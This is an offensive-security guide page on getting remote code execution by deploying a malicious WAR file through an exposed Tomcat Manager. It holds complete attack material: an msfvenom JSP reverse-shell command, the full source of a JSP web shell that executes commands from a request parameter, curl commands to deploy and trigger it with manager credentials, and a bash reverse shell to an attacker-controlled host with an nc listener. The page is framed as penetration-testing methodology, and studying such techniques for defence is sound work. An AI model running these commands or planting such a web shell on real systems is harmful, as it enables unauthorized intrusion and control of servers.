# Tomcat Manager WAR Deployment

> Deploy malicious WAR files via Tomcat Manager to gain remote code execution, exploiting weak credentials or misconfigurations in exposed management interfaces.

- **URL:** https://hackindex.io/services/tomcat-ajp/exploitation/tomcat-manager-war-deployment
- **Path:** Tomcat / AJP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/tomcat-ajp/exploitation.md)
- **Published:** 2026-03-30
- **Updated:** 2026-08-11

## Tomcat WAR Deployment Exploitation

The Tomcat manager's WAR deployment feature is designed for legitimate application deployment but provides direct remote code execution when accessible with valid credentials. A malicious WAR file containing a JSP web shell is deployed as a web application, then accessed via HTTP to execute commands. Confirm manager access and valid credentials through [Tomcat manager testing](https://hackindex.io/services/tomcat-ajp/vulnerability-discovery/tomcat-manager-exposed) before proceeding. The account must hold the manager-script or manager-gui role. On Windows, Tomcat commonly runs as SYSTEM, which changes the privilege context significantly. On Linux it runs as a low-privilege service user, usually named tomcat.

- Create the Malicious WAR File
- Deploy via Manager Web UI
- Confirm Execution
- Get a Reverse Shell
- Deploy via msfvenom WAR (Automatic Shell)
- Undeploy After Assessment

## Create the Malicious WAR File

Generate a JSP reverse shell WAR using msfvenom. This payload requires outbound TCP connectivity from the target back to your listener. Blocked egress will silently hang the request with no error on your end. Msfvenom assigns a random filename to the JSP inside the archive. You must identify that filename before triggering execution.

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o /tmp/shell.war
# Payload size: 1088 bytes
# Final size of war file: 1088 bytes
# Saved as: /tmp/shell.war
```

Alternatively, create a minimal WAR manually with a simple JSP web shell. This approach avoids the msfvenom payload signature and produces a predictable filename. The shell accepts commands via the cmd GET parameter and executes them through Runtime.exec() with bash. This method works well when egress is blocked, since it is a parameter-driven web shell rather than an auto-connecting reverse shell. The target needs bash installed. Replace /bin/bash with /bin/sh on stripped-down systems.

```bash
mkdir -p /tmp/warshell/WEB-INF
cat > /tmp/warshell/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
    InputStream in = p.getInputStream();
    BufferedReader br = new BufferedReader(new InputStreamReader(in));
    String line;
    while((line = br.readLine()) != null) output += line + "\n";
}
out.println(output);
%>
EOF
cat > /tmp/warshell/WEB-INF/web.xml << 'EOF'
<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5">
  <display-name>Shell</display-name>
</web-app>
EOF
cd /tmp/warshell && jar -cvf /tmp/shell.war .
```

## Deploy via Manager Web UI

Upload the WAR through the manager text API with curl. A 401 response means credentials are wrong. A 403 means the account lacks the manager-script role. A FAIL response with "already exists" means another application is already deployed at that context path. Change the path parameter and retry. Deployment is immediate: the application starts serving requests as soon as the success response arrives.

```bash
curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:8080/manager/text/deploy?path=/shell --upload-file /tmp/shell.war
# OK - Deployed application at context path [/shell]
```

## Confirm Execution

The id output confirms code execution under the Tomcat process user. On Linux this is typically a low-privilege service account. Check /etc/passwd for supplementary groups and run sudo -l for unexpected entries. If the response is blank or returns an HTML error page, the JSP filename does not match. Use jar -tf /tmp/shell.war to confirm the actual filename inside the archive before retrying.

```bash
curl -sk "http://$TARGET_IP:8080/shell/shell.jsp?cmd=id"
# uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

## Get a Reverse Shell

Start the listener before hitting the JSP endpoint. The bash reverse shell payload requires bash on the target. If the connection does not arrive, replace bash with sh in the cmd parameter. Using --data-urlencode prevents the attacker shell from interpreting special characters before the request leaves. The curl request will appear to hang once the shell connects, which is expected behaviour.

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:8080/shell/shell.jsp" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

## Deploy via msfvenom WAR (Automatic Shell)

When using the msfvenom-generated WAR, find the JSP filename inside the archive and access it directly. Msfvenom assigns a random name at generation time. The jar command extracts it before deployment. Accessing that JSP endpoint triggers the reverse connection back to the listener. Ensure nc is listening before making the final curl request or the payload will exit without connecting.

```bash
JSP_NAME=$(jar -tf /tmp/shell.war | grep '\.jsp')
echo "Shell at: http://$TARGET_IP:8080/shell/$JSP_NAME"
curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:8080/manager/text/deploy?path=/shell --upload-file /tmp/shell.war
nc -lvnp $LPORT &
curl -sk "http://$TARGET_IP:8080/shell/$JSP_NAME"
```

## Undeploy After Assessment

Remove the deployed WAR immediately after obtaining the shell. Active web shells are high-visibility artifacts and may be picked up by EDR or file integrity monitoring. The undeploy call removes the application context from Tomcat without restarting the service. Verify removal by querying the application list at /manager/text/list. Any context still present after cleanup must be reported as an artifact left during the engagement.

```bash
curl -sk -u "$USER:$PASSWORD" "http://$TARGET_IP:8080/manager/text/undeploy?path=/shell"
# OK - Undeployed application at context path [/shell]
```

This technique fails when the manager application restricts access to localhost only, which is the default hardening recommendation. A 403 after successful authentication is the usual indicator. If you have another foothold on the host, pivot through a local port forward to reach the manager from loopback. The manager may also enforce IP allowlists via RemoteAddrValve in the Tomcat configuration. Check context.xml inside the Tomcat installation for that valve if remote access is consistently denied despite correct credentials.

## References

- [Apache Tomcat: Manager HOW-TO](https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html) - Deploy and undeploy API documentation including text interface
